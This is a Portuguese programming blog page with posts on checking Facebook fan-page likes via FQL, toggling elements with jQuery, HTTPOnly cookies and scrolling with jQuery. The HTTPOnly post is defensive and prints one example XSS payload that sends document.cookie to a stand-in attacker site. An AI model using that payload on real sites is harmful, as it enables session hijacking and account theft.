JavaScript

Facebook, Verificando se usuário curtiu fan page !

Posted on janeiro 11, 2013. Filed under: Facebook, JavaScript, PHP | Tags:, , |

Introdução

Neste artigo vamos demonstrar como você pode verificar se o usuário que acessa sua aplicação no facebook curtiu ou não uma determinada fan page.

Verificando se o usuário curtiu a fan page

Informações necessárias para nosso script:

  • Ter em mãos o APP_ID e o SECRET da app criada.
  • ID da Fan Page que deseja verificar se o usuário curtiu ou não.
  • Solicitar no mínimo a permissão user_likes, para podermos obter acesso ao likes realizados pelo usuário:
  • // verificar a necessidade de solicitar permissoes
    $permissions = $facebook->api("/me/permissions");
    if(!array_key_exists('user_likes', $permissions['data'][0])) {
            header( "Location: " . $facebook->getLoginUrl(array("scope" => "user_likes")) );
            exit;
    }
    
  • Código:
  • Para obter a informação se o usuário curtiu ou não a fan page, precisamos fazer uma consulta FQL (Facebook Query Language). FQL é uma maneira de solicitar dados de usuário usando um estilo de linguagem parecido com SQL.

    // id do usuário logado
    $facebook_user_id = $facebook->getUser();
    
    // verifica se usuário curtiu a fanpage
    $fql = "SELECT uid FROM page_fan WHERE page_id = '$FANPAGE_ID' AND uid = '$facebook_user_id'";
    $isFan = $facebook->api(array(
              "method" => "fql.query",
              "query"  => $fql,
    ));
    
    if($isFan) {
            echo "Usuário curtiu fanpage!";
    } else {
            echo "Usuário não curtiu fanpage!";
    }
    

Veja que devemos informar qual é o ID da Fan Page que deseja verificar e o ID do usuário que deseja checar. No caso, você pode colocar o id do usuário que esta logado na sua app.

Simples não ? Vamos agora colocar tudo junto em um único script:

<?php
// biblioteca do facebook
require 'src/facebook.php';

// ATENCAO, configurar os parametros abaixo
$APP_ID = ""; // id da app
$SECRET = ""; // secret da app
$FANPAGE_ID = ""; // id da fanpage

// objeto do facebook
$facebook = new Facebook(array(
  'appId'  => $APP_ID,
  'secret' => $SECRET,
));

$facebook_user_id = $facebook->getUser();
if ($facebook_user_id) {
  try {
        // verificar a necessidade de solicitar permissoes
        $permissions = $facebook->api("/me/permissions");
        if(!array_key_exists('user_likes', $permissions['data'][0])) {
                header( "Location: " . $facebook->getLoginUrl(array("scope" => "user_likes")) );
                exit;
        }

        // verifica se usuario curtiu a fanpage
        $fql = "SELECT uid FROM page_fan WHERE page_id = '$FANPAGE_ID' AND uid = '$facebook_user_id'";
        $isFan = $facebook->api(array(
                  "method" => "fql.query",
                  "query"  => $fql,
        ));

        if($isFan) {
                echo "Usuario curtiu fanpage!";
        } else {
                echo "Usuario nao curtiu fanpage!";
        }

  } catch (FacebookApiException $e) {
        echo $e;
        $user = null;
  }
} else {
        // usuario nao logado, solicitar autenticacao
        $loginUrl = $facebook->getLoginUrl();
        header("Location: " . $loginUrl);
        exit;
}

Usando Javascript

Essa função pode ser útil no SDK do facebook para outras linguagens. Destaco o SDK para javascript, que é muito utilizado.

Vejamos como implementar no javascript:

FB.api({
        method: 'fql.query',
        query:  'SELECT uid FROM page_fan WHERE uid=' + user_id + ' AND page_id=' + fanpage_id
    }, function(resp) {
        if (resp.length) {
            alert('Usuario curtiu fanpage!')
        } else {
            alert('Usuario NAO curtiu fanpage!');
        }
    }
);

Colocando o código em um javascript funcional:

<html>
<head>
        <title>Teste de Login Facebook</title>
<script src="http://connect.facebook.net/en_US/all.js"></script>

<script>

// ATENCAO, configurar os parametros abaixo
var app_id = "";
var fanpage_id = "";

FB.init({
        appId  : app_id,
        status: true, cookie: false, xfbml: false, oauth: true
});

function usuarioCurtiuFanpage() {
        var user_id = (FB.getAuthResponse() || {}).userID

        if(!user_id) {
                return false;
        }

        FB.api({
                method: 'fql.query',
                query:  'SELECT uid FROM page_fan WHERE uid=' + user_id + ' AND page_id=' + fanpage_id
            }, function(resp) {
                if (resp.length) {
                    alert('Usuario curtiu fanpage!')
                } else {
                    alert('Usuario nao curtiu fanpage!');
                }
            }
        );
}

function verificaCurtir() {

        FB.getLoginStatus(function(response) {
                if (response.status !== 'connected') {
                        FB.login(function(response) {
                                if (response.authResponse) {
                                        // pronto, usuario logado
                                        usuarioCurtiuFanpage();
                                } else {
                                        alert('Voce nao esta autorizado a usar essa app!');

                                }
                        }, {scope: 'user_likes'});
                } else {

                        // pronto, usuario logado
                        usuarioCurtiuFanpage();
                }
        });

}

</script>
</head>

<body>
<a href="#" onClick="verificaCurtir();">Verificar fanpage</a>

</body>
</html>

Observações

  • Existem outras formas de verificar se o usuário curtiu a fan page. Uma delas é caso você esteja usando a app através de um Page Tab. A informação do curtir a fan page pode ser obtida através do parâmetro signed_request. Caso queira aprender a trabalhar com os dados do signed_request, leia o artigo http://developers.facebook.com/docs/howtos/login/signed-request/

    Boa sorte!!

Ler Post Completo | Make a Comment ( 3 so far )

Habilitando e desabilitando elementos com JQuery

Posted on setembro 7, 2012. Filed under: JavaScript, JQuery, Tips | Tags:, , , |

Introdução

Habilitar e desabilitar elementos em sua página, torna-se uma tarefa simples quando se trata de JQuery. Neste artigo iremos manipular o atributo disabled, usado para controlar se o elemento esta habilitado ou desabilitado, usando o método prop() ao invés de attr(), que é mais específico para esta finalidade.

Veja abaixo alguns exemplos:

Desabilitando elementos:

// desabilitando determinado elemento
$('#id_elemento').prop('disabled', true);

// desabilitando todos elementos dentro de tag <div>
$('div *').prop('disabled', true);

// desabilitando somete elementos do tipo input e button dentro de tag <div>
$('div').find('input, button').prop('disabled', true);

// desabilitando todos tipos de input (input, textarea, select, button) dentro de tag <div>
$('div').find(':input').prop('disabled', true);

Habilitando elementos:

Use o mesmo método prop() conforme anteriormente, mas setando o valor para false.

$('#id_elemento').prop('disabled', false);
...

Considerações

O método prop() foi adicionado à partir da versão 1.6 do jquery. Use prop() ao invés de attr() para atributos como disabled, checked, selected, etc. São atributos considerados “booleanos” na especificação W3C. Ele foi criado para esse propósito. Para maiores detalhes, acesse a documentação do JQUery: http://api.jquery.com/prop/

O método attr() pode fazer o trabalho de desabilitar e habilitar elementos também. Porém com a criação do prop(), o attr() deixou de ser a melhor forma de resolver essa questão. Utilize-o caso esteja com uma versão do jquery mais antiga, inferior à 1.6. Veja abaixo exemplos:

// desabilitando elementos
$('#id_do_elemento').attr('disabled', 'disabled');

// habilitando elementos
$('#id_do_elemento').removeAttr('disabled');
Ler Post Completo | Make a Comment ( 1 so far )

Segurança, Cookies HTTPOnly !

Posted on janeiro 14, 2012. Filed under: JavaScript, PHP, Segurança | Tags:, , , |

Introdução

Muitos de nós já conhecemos ou já ouvimos falar de XSS (Cross-site Scripting). XSS é uma vulnerabilidade explorada em aplicações web onde uma usuário mal intencionado consegue injetar códigos javascripts em uma página que posteriormente será lida por um usuário qualquer. Brechas desse tipo podem ser encontrada em vários sites ou em aplicações web.

Um ataque muito explorado em XSS é o roubo dos cookies de sessão do usuário. O roubo dos cookies é realizado através de um comando javascript que envia os cookies para uma URL externa onde o usuário atacante tem controle.

Por exemplo, caso o atacante consiga inserir o código abaixo em uma aplicação onde não é realizado o tratamento correto ao exibir as informações para outro usuário, o código, ao invés de ser exibido na tela do usuário, será executado diretamente no navegador fazendo com que os cookies sejam enviados para o site do atacante.

<script type="text/javascript">
new Image().src="http://www.sitedoatacante.com.br/cookies.php?c="+encodeURI(document.cookie);
</script>

Em posse dos cookies, mas especificamente o cookie de sessão, o atacante pode entrar autenticado no site com as mesmas credenciais da vítima, sem que ela saiba.

Cookies HTTPOnly

Cookies HTTPOnly são cookies que podem ser setados pelo servidor ou por javascript porém não podem ser acessados de nenhuma forma por javascript. Para que seja efetiva a funcionalidade do HTTPOnly o navegador deve estar habilitado para isto. A maioria dos navegadores conhecidos respeitam esse parâmetro. Cookies com o parâmetro HTTPOnly dificultam bastante o roubo de sessão através de XSS pois o javascript não consegue ler o conteúdo destes cookies.

Para exemplificar, selecionei abaixo um exemplo de cabeçalho de uma resposta de requisição HTTP onde é setado um cookie com o parâmetro HTTPOnly:

HTTP/1.1 200 OK
Cache-Control: no-cache,private
Content-Length: 9190
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=owhxuuffabkl0n55uhkrwj45; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Wed, 11 Jan 2012 19:38:13 GMT

PHP e Cookies HTTPOnly

A partir do PHP 5.2.0, as funções setcookie e setrawcookie possuem o parâmetro que seta o HTTPOnly para o cookie que esta sendo criado:

Sintaxe das funções setcookie/setrawcookie:

setcookie ($name, $value, $expire, $path, $domain, $secure, $httponly);
setrawcookie ($name, $value, $expire, $path, $domain, $secure, $httponly);

Setando um cookie no PHP com a flag httpOnly habilitada:

setcookie("TesteCookie", "123456", 0, "/", "example.com", false, true);
setrawcookie("TesteCookie", "123456", 0, "/", "example.com", false, true); // setrawcookie não faz o urlencode no valor do cookie

Caso você queria setar um cookie manualmente utilizando a função header (Pode ser no caso você esteja usando uma versão do php anterior ao 5.2.0 que ainda não suporta httpOnly nas funções setcookie/setrawcookie):

header("Set-Cookie: nome=valor; path=/; httpOnly" );

Por padrão, ao criar uma sessão no PHP, é criado um cookie usado para controlar o acesso do usuário na sessão. Normalmente o cookie é chamado PHPSESSID. Na configuração padrão esse cookie não é httpOlny. Para ativar o parâmetro httpOnly no cookie de sessão do PHP, setar a diretiva session.cookie_httponly no php.ini para true:

session.cookie_httponly = true

Dessa forma você esta deixando sua aplicação mais segura, evitando possíveis ataques que exploram a vulnerabilidade XSS.

Ler Post Completo | Make a Comment ( 1 so far )

Rolar o scroll do navegador para o topo usando JQuery

Posted on outubro 6, 2010. Filed under: JavaScript, JQuery |

Se em algum momento na programação do seu site você queira que scroll suba para o topo de forma automatizada, você pode resolver isso facilmente utilizando o JQuery. É só inserir o código abaixo no lugar onde você deseja acionar a função:

$('html, body').scrollTop(0);

Caso queira fazer uma firula, utilize a instrunção abaixo. O scroll irá para o topo de forma animada (lentamente):

$('html, body').animate({scrollTop:0}, 'slow');

Ler Post Completo | Make a Comment ( 4 so far )

Liked it here?
Why not try sites on the blogroll...

%d blogueiros gostam disto: